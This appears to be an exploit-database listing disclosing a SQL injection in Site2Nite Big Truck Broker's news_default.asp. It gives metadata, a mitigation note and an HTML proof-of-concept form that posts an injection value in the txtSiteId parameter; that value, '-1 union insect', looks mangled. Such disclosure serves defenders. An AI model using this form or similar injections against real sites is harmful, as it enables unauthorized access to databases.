header-logo
Suggest Exploit
vendor:
Big Truck Broker
by:
underground-stockholm.com
8,8
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Big Truck Broker
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2020

Site2Nite Big Truck Broker “txtSiteId” SQL Injection Vulnerability

A SQL injection vulnerability exists in Site2Nite Big Truck Broker, which allows an attacker to inject malicious SQL code into the 'txtSiteId' parameter of the 'news_default.asp' page. By sending a specially crafted request, an attacker can execute arbitrary SQL commands on the underlying database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in an SQL query.
Source

Exploit-DB raw data:

<!--
Site2Nite Big Truck Broker "txtSiteId" SQL Injection Vulnerability
PRODUCT: Site2Nite Big Truck Broker
PRODUCT URL: http://www.site2nite.com/productdetail.asp?id=14
RESEARCHERS: underground-stockholm.com
RESEARCHERS URL: http://underground-stockholm.com/
-->
<html>
<body>
<form method="post" action="http://[host]/[path]/news_default.asp">
<input type="text" name="txtSiteId" value="-1 union insect">
<input type="hidden" name="cmdSearchId" value="Go">
<input type="submit">
</form>
</body>
</html>

Navigation

Suggest Exploit

Services By CQR